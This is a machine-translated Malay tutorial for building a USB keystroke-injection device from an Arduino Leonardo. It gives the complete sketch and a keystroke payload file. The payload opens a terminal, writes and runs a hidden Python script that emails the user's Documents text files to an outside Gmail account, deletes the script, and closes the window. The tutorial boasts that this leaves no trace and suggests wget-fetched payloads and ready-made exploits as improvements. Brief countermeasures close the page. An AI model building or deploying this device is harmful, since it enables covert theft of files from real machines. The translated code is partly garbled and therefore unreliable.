Isi kandungan:

Arduino Keyboard Exploit Demo (HID) dan Pencegahan: 4 Langkah (dengan Gambar)
Arduino Keyboard Exploit Demo (HID) dan Pencegahan: 4 Langkah (dengan Gambar)

Video: Arduino Keyboard Exploit Demo (HID) dan Pencegahan: 4 Langkah (dengan Gambar)

Video: Arduino Keyboard Exploit Demo (HID) dan Pencegahan: 4 Langkah (dengan Gambar)
Video: Web Programming - Computer Science for Business Leaders 2016 2024, November
Anonim
Image
Image
Membina Peranti
Membina Peranti

Dalam projek ini kita akan menggunakan arduino leonardo untuk mensimulasikan kemungkinan serangan USB menggunakan HID (peranti antara muka humain).

Saya telah membuat tutorial ini bukan untuk membantu penggodam tetapi untuk menunjukkan kepada anda beberapa bahaya yang nyata dan bagaimana melindungi diri anda dari bahaya tersebut. Peranti ini bukan peranti yang dapat digunakan di platform mana pun untuk penggodam, ini lebih merupakan bukti konsep secara terperinci.

Kami akan mempelajari perkara berikut:

- cara menggunakan arduino leonardo untuk meniru papan kekunci

- cara membaca data dari kad SD

- cara membuat skrip python yang mengimbas fail dan menghantar e-mel kepada mereka

- bagaimana melindungi diri anda dari peranti peretasan USB

Langkah 1: Bahan

Bahagian:

1. Arduino leonardo

2. pembaca kad USB mikro

3. kad SD beberapa GB

4. butang tekan seperti ini (VCC, Ground dan signal)

5. kabel pelompat wanita-lelaki dan wanita-wanita

6. mikro USB ke kabel USB

Langkah 2: Membina Peranti

Membina Peranti
Membina Peranti

Sebelum arahan bangunan mari kita tinjau prinsip kerja:

Arduino leonardo boleh berkelakuan seperti alat antara muka manusia (HID) dan oleh itu dapat meniru tetikus dan papan kekunci. Kami akan menggunakan ciri ini untuk membuka terminal (dalam UBUNTU linux) dan menulis skrip kecil yang akan mengakses / Dokumen folder di dalam folder rumah pengguna menyalin fail.txt di sana dan menghantar e-mel kepada seseorang. Sekiranya anda ingin mengetahui lebih banyak perincian, periksa langkah seterusnya.

Oleh kerana ia adalah alat demo, semuanya sangat mudah, kami tidak akan menyelesaikan apa-apa.

Arahan bangunan

Sebelum kita mula memeriksa fail yang dilampirkan, saya telah melampirkan skema fritzing, dan semua fail yang diperlukan

1. Susun komponen:

* pasangkan kabel USB mikro di arduino

* sambungkan suis kunci ke arduino (modul ground, vcc dan out ke D8)

* sambungkan pembaca kad ke arduino (menggunakan header ICSP). Arduino leonardo tidak mempunyai header ICSP yang disambungkan ke pin digital, jadi anda perlu menyambungkan pembaca kad ke tajuk ICSP. Anda boleh mendapatkan beberapa gambar ICSP di sini: https://learn.sparkfun.com/tutorials/installing-an…. Sambungkan pin SS ke pin digital 10

2. dapatkan kod arduino, anda boleh mengklon repositori arduino saya di github: https://github.com/danionescu0/arduino dan pergi ke projek / keyboard_exploit atau dapatkannya dari bawah:

#masuk "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Tidur::"; String commandStartingPoint = "Perintah::"; int delayBetweenCommands = 10; butang const intPin = 8; const int chipPilih = 10; int sebelumnyaButtonState = TINGGI; batal persediaan () {pinMode (buttonPin, INPUT); Serial.begin (9600); Papan kekunci.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kad gagal, atau tidak hadir!"); kembali; }} gelung void () {int buttonState = digitalRead (buttonPin); jika ((buttonState! = sebelumnyaButtonState) && (buttonState == TINGGI)) {sdFileToKeyboard (); Serial.println ("Dimuat naik!"); kelewatan (500); } sebelumnyaButtonState = buttonState; } batal sdFileToKeyboard () {File dataFile = SD.open (nama failOnCard); if (! dataFile) {Serial.println ("Nama fail yang ditentukan tidak terdapat pada kad SD, periksa nama failOnCard!"); } Garisan tali; sementara (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (baris); sendToKeyboard (baris); } dataFile.close (); } batal sendToKeyboard (Garis rentetan) {String workingLine = garis; jika (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); kembali; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Teks:"); Serial.println (baris); Papan kekunci.println (baris); tekan enter(); kembali; } Serial.println ("Perintah:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine + = ","; sementara (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Perintah rentetan = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command found:"); Serial.println (arahan); Keyboard.press (getCommandCode (arahan)); kelewatan (delayBetweenCommands); }} Papan Kekunci.releaseAll (); kelewatan (delayBetweenCommands); } kekosongan tekanEnter () {Keyboard.press (KEY_RETURN); Papan Kekunci.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Tidur untuk:"); Serial.println (sleepAmount); kelewatan (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); kod char = textCharacters [0]; kod = (teks == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (teks == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kod; kod = (teks == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; kod = (teks == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (teks == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (teks == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (teks == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; kod = (teks == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kod; kod = (teks == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; kod = (teks == "KEY_TAB")? KEY_TAB: kod; kod = (teks == "KEY_RETURN")? KEY_RETURN: kod; kod = (teks == "KEY_ESC")? KEY_ESC: kod; kod = (teks == "KEY_INSERT")? KEY_INSERT: kod; kod = (teks == "KEY_DELETE")? KEY_DELETE: kod; kod = (teks == "KEY_PAGE_UP")? KEY_PAGE_UP: kod; kod = (teks == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; kod = (teks == "KEY_HOME")? KEY_HOME: kod; kod = (teks == "KEY_END")? KEY_END: kod; kod = (teks == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; kod = (teks == "KEY_F1")? KEY_F1: kod; kod = (teks == "KEY_F2")? KEY_F2: kod; kod = (teks == "KEY_F3")? KEY_F3: kod; kod = (teks == "KEY_F4")? KEY_F4: kod; kod = (teks == "KEY_F5")? KEY_F5: kod; kod = (teks == "KEY_F6")? KEY_F6: kod; kod = (teks == "KEY_F7")? KEY_F7: kod; kod = (teks == "KEY_F8")? KEY_F8: kod; kod = (teks == "KEY_F9")? KEY_F9: kod; kod = (teks == "KEY_F10")? KEY_F10: kod; kod = (teks == "KEY_F11")? KEY_F1: kod; kod = (teks == "KEY_F12")? KEY_F2: kod;

kod pemulangan;

}

3. Muat naik kod ke arduino, pastikan untuk memilih kadar baud 9600, port bersiri dan arduino leonardo

4. Format kad sd menggunakan FAT16 atau FAT32

5. Sekiranya anda mengklon repo github dari atas, salin fail hack.txt pada kad, jika tidak fail tersebut disenaraikan di bawah:

Perintah:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expususer dari e-mel. MIMEMBipport import MIMEMultipart dari e-mel. MIMEBase import MIMEBase dari e-mel. MIMETeksport MIMETeks dari e-mel. Bahan mengimport KOMASPACE, formatdate dari pengekod import e-mel

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumen'

subject = body = 'Fail dari komputer yang digodam'

header = 'Kepada: {0} nDari: {1} nSubjek: {2} n'.format (ke_address, smtp_user, subjek)

def sendMail (ke, subjek, teks, fail = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subjek msg.attach (MIMETeks (teks)) untuk file dalam fail: part = MIMEBase ('application', "octet-stream") part.set_payload (buka (file, "rb"). Baca ()) bahagian Encoders.encode_base64 (bahagian). add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (file)) msg.attach (bahagian)

pelayan = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, ke, msg.as_string ()) server.quit ()

sendMail ([to_address], subjek, body, glob.glob ("{0} / {1} / *. txt".format (expanduser ("~"), scan_documents_location)))

Tidur:: 50 Perintah:: KEY_ESC Tidur:: 100: x Tidur:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Tidur:: 400 Perintah:: KEY_LEFT_ALT, KEY_F4

6. Edit baris berikut:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'penerima_address'

Dan ganti dengan alamat e-mel anda

7. Keluarkan kad dan masukkan ke dalam pembaca kad arduino

Langkah 3: Bagaimana Ia Berfungsi dengan terperinci

Bagaimana serangan itu akan berfungsi:

1. Apabila butang ditekan, leonardo akan membaca kad sd menggunakan pembaca kad sd. Fail khas yang mengandungi kunci dan kombinasi kunci akan terdapat pada kad. Nama fail adalah "hack.txt".

Fail boleh mengandungi teks mentah, dan ia akan diserahkan ke papan kekunci seperti yang ada.

Juga dapat berisi perintah khusus seperti "Sleep::" dan "Command::".

Garisan seperti:

Tidur:: 200 bermaksud tidur 200 ms

Garisan seperti:

Perintah:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t bermaksud ctrl kiri ditekan, alt kiri ditekan, t ditekan dan semua dilepaskan

Anda boleh menyemak semua kunci khas di sini:

2. Leonardo akan membaca baris demi baris, dan mentafsirkan perintah dan meniru kekunci pada papan kekunci. Fail "hack.txt" mengandungi kombinasi kunci yang melakukan perkara berikut (untuk UBUNTU linux):

a. membuka terminal (CTRL + ALT + T)

b. membuka fail python untuk dibuat menggunakan vi (menulis "vi hack.py"

c. menulis skrip python di dalamnya yang mengumpulkan semua fail teks di dalam folder rumah dokumen dan mengirimkannya ke alamat gmail yang ditentukan

d. menjalankan fail di latar belakang ("nohup python hack.py &")

e. memadam fail (rm -rf hack.py)

f. menutup terminal (ALT + F4)

Seluruh perkara ini berjalan dalam beberapa saat dan tidak meninggalkan jejak.

Peningkatan dan penyelesaian masalah

* Anda mungkin menyedari bahawa setelah saya membuka terminal, saya sedang menulis fail python. cara yang lebih baik untuk melakukannya adalah dengan menghosinya di suatu tempat dan memuat turunnya menggunakan perintah "wget some_url", kemudian namakan semula menjadi hack.py

* Juga kita dapat memuat turun atau menjalankan eksploitasi siap pakai untuk sistem operasi yang disasarkan

* wifi dapat ditambahkan ke modul, dan peretasan dapat dimuat melalui WIFI

* anda boleh menggunakan arduino micro (yang jauh lebih kecil) dan menanamkan exploit code di atasnya (untuk membuatnya lebih kecil)

Batasan

1. Oleh kerana peranti simulasi (papan kekunci dan tetikus) tidak mempunyai maklum balas, kami tidak tahu apa yang akan terjadi setelah mengeluarkan perintah yang bermaksud kami perlu menggunakan penundaan. Contohnya saya mengeluarkan arahan untuk membuka terminal, tetapi saya tidak tahu bila sebenarnya akan dibuka, jadi saya perlu menentukan kelewatan sewenang-wenangnya untuk memastikan watak yang ditaip tidak akan hilang.

2. Kami mungkin menghadapi masalah kebenaran seperti tidak mempunyai akses ke port USB atau kebenaran untuk memasang sesuatu

3. Kelajuan menaip tidak begitu hebat pada leonardo

4. Akan berfungsi hanya pada sistem operasi yang disasarkan (dalam kes kami UBUNTU linux)

Pada langkah seterusnya akan berusaha mencari jalan untuk memanfaatkan batasan ini untuk mengelakkan komputer kita diretas

Langkah 4: Penanggulangan

1. Melumpuhkan port USB

- untuk windows anda boleh menyemak tutorial ini:

2. Peranti USB dalam senarai putih:

- untuk windows:

2. Kunci komputer anda semasa anda tidak berada jauh

3. Jangan log masuk sebagai root (memerlukan kata laluan untuk memasang apa sahaja)

4. Pastikan diri anda sentiasa terkini (kemas kini automatik)

Disyorkan: